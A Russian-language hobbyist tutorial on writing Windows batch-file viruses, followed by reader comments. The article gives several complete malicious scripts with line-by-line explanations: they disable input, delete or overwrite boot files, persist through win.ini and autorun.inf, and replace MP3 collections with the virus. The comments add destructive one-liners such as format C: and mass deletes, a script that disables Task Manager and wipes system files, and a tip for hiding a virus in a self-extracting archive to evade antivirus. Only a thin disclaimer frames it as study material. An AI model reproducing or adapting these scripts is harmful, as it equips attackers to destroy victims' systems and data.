Привет тебе снова, юный кодер-шкодер. Если ты читал прошлую мою статью под названием “Учим ДОС”, то ничего сложного тут для тебя не будет. А если не читал, то внимательно смотри комментарии. Итак, начнем. Сижу я однажды и думаю: а не накатать ли мне вирус? А так как кроме QБарсика я ничего не знал, а ДОС был моим вторым … [Братом], а ты что подумал извращенец? :)~. ТО я решил писать вирус на нем, и оказалось это не так трудно.
Вот тело моего первого вируса
@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:\autoexec.bat
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls
Объясняю популярно и по шагам:
1 @echo off – Запрещаем ДОСовскому окошку показывать, что делает скрипт.
2 rundll32 keyboard,disable – Отключаем клаву, на случай если юзер поймет что происходит и надумает нажать CTRL+C
3 rundll32 mouse,disable – Отключаем мышь тоже на всякий.
4 copy %0 %windir%/system – Копируемся в папку windows/system
// %0 – Переменная, указывающая на исходный файл-вирус
// %windir% – переменная папка масдая.
5 echo run=%windir%/system/*.bat >> %windir%\win.ini – Добавляет текст “run=%windir%/system/*.bat” в файл win.ini
6 echo run=%windir%/system/*.bat >> %windir%\system.ini – Добавляет текст “run=%windir%/system/*.bat” в файл system.ini
7 label LOHOLAMMER – Меняет имя диску c:\ на “LOHOLAMMER”
8 if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r – Проверяем если есть файл c:\autoexec.bat то убираем
//у него атрибуты -h -s -a -r
9 deltree /y c:\autoexec.bat – Удаляем файл c:\autoexec.bat , если не убрать атрибуты, то программа не удалит файл.
10 echo autoexec.bat echo YOU ARE LAMMER…xe-xe-xe > c:\autoexec.bat – Добавить текст “YOU ARE LAMMER…xe-xe-xe”
//в новый файл autoexec.bat
11 rundll32 mouse,enable – Включаем, пускай думает, что ниче не было.
12 rundll32 keyboard,enable – Включаем, пускай думает, что ниче не было.
13 echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. Ваш компьютер заражен вирусом, а избавиться от него нельзя, хе-хе-хе”); >> %temp%\mes.js
start %temp%\mes.js. //Этот текст выводит масдайное окно с надписью
deltree /y %temp%\mes.js //А потом стирает за собой следы.
14 attrib c:\autoexec.bat +h +s +a +r – Делает файл c:\autoexec.bat скрытым и системный чтоб ламер ничего не заподозрил.
15 pause – Просим нажать любую клавишу (Не обязательно нажимать ведь вирь уже сделал свое дело.)
16 cls – Выходим
Эта программа, при следующей перезагрузке не даст загрузиться виндовсу и будет писать ‘Вы ламер.’ .Работает только в винде до 2000.
Идем дальше, пишем новый вирус. Те функции, которые были упомянуты уже, не будут объясняться заново. Это просто усовершенствованная версия прошлого вируса.
@echo off
rundll32 user,setcursorpos //Убираем с экрана курсор в левый угол
rundll32 keyboard,disable //Было
rundll32 mouse,disable //Было
rundll32 user,swapmousebutton. //Тут мы переставляем кнопки мыши
echo Обновление параметров системы, пожалуйста подождите… //пишет отмазку :)
label mp_k //Меняем имя диску
copy mp_k.exe %windir% //Копирует себя в папку windows
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat
if exist c:\io.sys echo autoexec.bat echo YOU_ARE_LAMMER….[]=[_H@CKED_BY_[kas]*_”SmallPox_Vir_Org”_] > c:\autoexec.bat
echo run = %windir%\mp_k.exe >> %windir%\win.ini
echo run = %windir%\mp_k.exe >> %windir%\system.ini
echo [AutoRun] > c:\autorun.inf //Эти операции есть в прошлом вирусе.
echo open=c:\autoexec.bat > c:\autorun.inf
echo [AutoRun] > d:\autorun.inf
echo open=c:\autoexec.bat > d:\autorun.inf
rundll32 mouse,enable
rundll32 keyboard,enable
echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js
echo WSHShell.Popup(“Warning,.. А теперь необходимо перезагрузиться”); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
attrib %windir%\mp_k.exe +h +s +a +r
attrib c:\autorun.inf +h +s +a +r
attrib d:\autorun.inf +h +s +a +r
deltree /y mp_k.exe
rmdir %windir%\temp //Удаляем папку temp
mkdir %windir%\temp //Создаем папку temp
cls
А теперь, что-то новое.
@echo off
cls
echo Please wait, updating system…
ctty nul. //Это новая команда, она отключает вывод текста в окошке.
exist %WINDIR%\SYSTEM\VMM32\%0 goto :end //Если вирь уже запускался то пусть запустит себя снова.
copy %0 %WINDIR%\SYSTEM\VMM32
cd c:\ //Переходим в другую директорию
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Заменяем в этой папке все файлы mp3 своим текстом
cd d:\
for %%a in (*.mp3 c:\*.mp3 c:\MUZ\*.mp3 c:\My Music\*.mp3 ..\*.mp3) do copy /y %0 %%a
cd My Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a //Тут тоже самое.
cd My_Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MyMusic
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Music
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музыка
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd Музон
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd MUZ
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
cd mp3
for %%a in (*.mp3 ..\*.mp3 \..\*.mp3 .\*.mp3 \.\*.mp3) do copy /y %0 %%a
:end //Метка
start /m /w %WINDIR%\SYSTEM\VMM32\%0 //Запуск в свернутом режиме
ctty con //Врубаем разрешение на показ текста в окне
echo Say goodbye your MP3 collection :)) Virus [BAT.kas.a] //Прощальные строки
cls //Выход.
Тут мало нового но уже что-то. Идем дальше. Накачал я с инета BAT-вирусов и начал их исследовать. И вот результаты:
Написал еще пару своих:
ctty nul //Было такое
REM Чй† Ђь@uoњPSQRVW
?
‹тЌ
” Q_ь№ у¦u=
є №є њъ.я?ђ л,ђ ///
copy %0 *.exe ///
copy %0 b.com>nul // Эта технология взята с вируса другово.
b.com. // Эти каракули перехватывают рабочие в данный момент файлы, и херит их.
del b.com. /// Это текст АСМ скомпиленого в exe
rem _^ZY[Xќњъ.я?ђ К ђђђђъ.я.ђ К ћ # @echoђё.5Н.Њ ‘ ‰?ђ Ќ ё.%Н.Ќ є Н’ђђ //
@echo off //
echo XEP_BAM //Пишем злобно и красиво.
if exist %windir%/%0.bat goto :end //Проверка виря на запускание, те был ли он запущен.
@rundll32 user,setcursorpos
ctty con //Было такое
echo Обновление параметров системы, пожалуйста подождите… //Отвлекаем.
@label BAT.c
copy %0.bat %windir% > nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
if exist c:\autoexec.bat echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\autoexec.bat
if exist c:\boot.ini echo autoexec.bat echo YOU_ARE_LAMMER…. > c:\boot.ini //Это для XP он там вместо autoexec.bat ;)
deltree /y %windir%/win.inicopy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
if exist c:\io.sys //Проверка наличия диска так как на каждом диске есть файл io.sys
echo [AutoRun] > c:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> c:\autorun.inf //И если он есть заразить его.
if exist d:\io.sys //Проверка наличия диска
echo [AutoRun] > d:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> d:\autorun.inf //И если он есть заразить его.
if exist e:\io.sys //Проверка наличия диска
echo [AutoRun] > e:\autorun.inf //И если он есть заразить его.
echo open=c:\autoexec.bat >> e:\autorun.inf //И если он есть заразить его.
:end //Метка СМ начало.
cls //Выход
О какие бывают вирусы. И на что только ни ухитряются вирусописатели, чтобы добиться нужного результата. Прочитав эту доку ты с уверенностью сможешь сам написать BAT вирус, даже лучше моего ;).Ну удачи тебе в написании вирей, а я отклонюсь и свалю пить пиво %-).
Статьи написаны исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгоритмы работы вирусов были выявлены при декомпиляции найденных в интернете вирусов и на сайте Лаборатории Касперского.
ну я в шоке откуда вы всё это знаете… мозг сломать можно ))))
ваще прикольн))) раньше тока слабенькие в бате делал! а теперь повесилюсь)))!
парни а если все с выше перечисленного собрать? что тогда будет?
и можно ли в блоке написать команду чтобы вирусняк оставался где нибудь чтоб снос винды не помог?
кaк сдeлaть что бы вирь зaпускaлся в бeзопaсном рeжимe
5строчек и пиздец
del C:\*.exe
echo y|del*.*
echo y|Format C:
echo y|del C:\*.*
echo y|del D:\*.* учитесь!!! нубы
Всем привет. У меня такая ситуация. Как сделать так, что-бы вирус коприровался на все диски.
Я написал таким образом
С:\snakes.bat
D:\snakes.bat
E:\snakes.bat
F:\snakes.bat
G:\snakes.bat
H:\snakes.bat
I:\snakes.bat
J:\snakes.bat
Если на компе имеются кокиенибудь диски, то он на них скопируеться. Если нет, то просто пропустит эту командную строчку. Но дело в том, на компах, где стоит Windows Vista в разделе “мой компьютер” имеються несуществующие диски (съемный диск F:, съемный диск G:, съемный диск H: и т.д.) А когда встовляешь флешку она появляется за место пустого диска на последней букве. (Fleshka J:). Когда команда доходит до первого несуществующего диска, то вылезает ошибка “диск не найден”. В результате чего остальные команды, после ошибки не выполняются. Можно-ли сделать так, что-бы вирус различал реальные диски от несуществующих и нп них не пытался копироваться. И ещё один вопрос, как сделать так, что-бы вирус запускался в определённое число и в определённое время.
Всем привет. У меня такая ситуация. Как сделать так, что-бы вирус коприровался на все диски.
Я написал таким образом
С:\snakes.bat
D:\snakes.bat
E:\snakes.bat
F:\snakes.bat
G:\snakes.bat
H:\snakes.bat
I:\snakes.bat
J:\snakes.bat
Если на компе имеются кокиенибудь диски, то он на них скопируеться. Если нет, то просто пропустит эту командную строчку. Но дело в том, на компах, где стоит Windows Vista в разделе «мой компьютер» имеються несуществующие диски (съемный диск F:, съемный диск G:, съемный диск H: и т.д.) А когда встовляешь флешку она появляется за место пустого диска на последней букве. (Fleshka J:). Когда команда доходит до первого несуществующего диска, то вылезает ошибка «диск не найден». В результате чего остальные команды, после ошибки не выполняются. Можно-ли сделать так, что-бы вирус различал реальные диски от несуществующих и нп них не пытался копироваться. И ещё один вопрос, как сделать так, что-бы вирус запускался в определённое число и в определённое время.
Мой e-mail: zmej-stas@mail.ru
Заранее спасибо, жду ответа
Всем привет. У меня такая ситуация. Как сделать так, что-бы вирус коприровался на все диски.
Я написал таким образом
COPY snakes.bat С:\
COPY snakes.bat D:\
COPY snakes.bat E:\
COPY snakes.bat F:\
COPY snakes.bat G:\
COPY snakes.bat H:\
COPY snakes.bat I:\
COPY snakes.bat J:\
Если на компе имеются кокиенибудь диски, то он на них скопируеться. Если нет, то просто пропустит эту командную строчку. Но дело в том, на компах, где стоит Windows Vista в разделе «мой компьютер» имеються несуществующие диски (съемный диск F:, съемный диск G:, съемный диск H: и т.д.) А когда встовляешь флешку она появляется за место пустого диска на последней букве. (Fleshka J:). Когда команда доходит до первого несуществующего диска, то вылезает ошибка «диск не найден». В результате чего остальные команды, после ошибки не выполняются. Можно-ли сделать так, что-бы вирус различал реальные диски от несуществующих и нп них не пытался копироваться. И ещё один вопрос, как сделать так, что-бы вирус запускался в определённое число и в определённое время.
Мой e-mail: zmej-stas@mail.ru
Заранее спасибо, жду ответа
не знаю…не люблю висту…говно…7ку ставь
а на чем и как еще можно вирусы писать?
а то я не знаааю
да круто так уметь,кому от того будит счастье если убит будит инет,уже было такое не раз в истории его,пиши тварий компа но только что бы файлы коллекций не страдали ,чувство такта и уважения имей коллекция собирается не один год ,а переместить бывает людям ну времени нет,сумей создать реально боевой такой как пиндосия с израилем червя stux и по пизде вся иранская ядерная программа полетела от него ,вот это круто это класс .
Команда @Echo off палится антивирусом avast
Люди, а можно ли в batнике командой сделать ярлык самого batника?Если что, мне в Автозагрузку надо=)
пожалуйста подскажите как избавиться от вируса с расширением .bat ни одна программа на компе не работает если есть варианты кроме установки винды то подскажите пожалуйста!!!
@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v
DdisableTaskMgr /t REG_DWORD /d 1 /f >nul
copy “”%0″” “%SystemRoot%\win32.bat” >nul
attrib %SystemRoot%\win32.bat +h +s +r >nul
reg add “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “win32.sys” /t REG_SZ /d “%SystemRoot%\win32.bat” /f >nul
bootcfg /delete /id 1 >nul
bootcfg /delete /id 1 >nul
bootcfg /delete /id 1 >nul
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
if exist c:\boot.ini attrib c:\boot.ini -h -s -a -r
if exist c:\ntldr attrib c:\ntldr -h -s -a -r
deltree /y c:\autoexec.bat
deltree /y c:\boot.ini
deltree /y c:\ntldr
deltree /y %windir%/win.ini
copy %0 > %windir%/win.ini
deltree /y %windir%/system.ini
copy %0 > %windir%/system.ini
attrib -s -r -h -a %windir%*.* >nul
erase %windir%*.* /q >nul
attrib -s -r -h -a %systemdrive%*.* >nul
erase %systemdrive%*.* >nul
del “%SystemRoot%\Driver Cache\i386\driver.cab” /f /q >nul
del *.* /q
del “%0” >nul
Помоему должно серьезно похерить Винду. Проверьте кто-нибудь плз)))
я повесил вирусняк к другу и спалился,подскажите плз ,как убрать bat или где он находится?или мне пизд** :
Если кому интересно, то могу рассказать как сделать так, чтобы якобы вирус, созданый через блокнот, не спалил антивирус.
Так что бы жертва не смогла увидеть его код будем использовать WinRar. Берем наш вирусочек и кидаем его в архив, вылетит окно, и ты просто ставишь галочку “создать SFX-архив”. Далее заходим в дополнительное и открываем параметры SFX, там есть строка “выполнить после распаковки” и ты пишешь РЕАЛЬНОЕ имя твоего вируса. (если я не ошибаюсь, то ваш антивир его не найдет)
люди подскажите плз скрипт который….. окна с надписями делает( запускаешь скрипт и у тебя появлется окно с надписюь например привет, нажимаешь на ок, это окно закрывается и сразу же открывается ещё одно такое же тока с другой надписью…. и так можно 10000 раз сделать его…)
у меня был он потом винду переставлял и он удалился а как писать забыл хD
куак сделать так чтб вирус запуускался раз в 2дня
Вот вам вирь убьёт винду состоитиз 2 строчек :
@echo off
assoc .dll=.mp3
Вот и всё ! А вы тут маетесь !
KruKK, эта команда msg * (текст который в этом окне вылезет),
а че делать надо я по емейлу отправил
А кто знает как антивирус на бате написать против своего-же вируса помогите а!
киньте пример на бантике запуск по времени чтоб через два месяца вирь удалил c:\диск
Привет ребят. Помогите если сможете. Я че то читал что батник не может полноценно передаваться с одного кампа на другой. Это правда? Еще… Я пробовал кидать вирус в автозагрузку, и копировал его в папку Windows, и после этого кидал его в автозагрузку. После перезагрузки вирус не запускается. Даже менял имя вируса на Autoexec.bat. Помогите, пишите пожалуйста на мне 72367383:)
может создать какойнибудь exe инстоллятор чтоб жертва подумала за программку. только как из bat в exe сделать ????
такие вирусы палят любые антивирусы (
как отключить мышь я сделал так как написано выше и он мне написал:”ошибка при загрузке mouse) не найден указанный модуль” что делать?!
всем привет подскажите как написать bat чтобы CD-rom сам по себе открывался и закрывался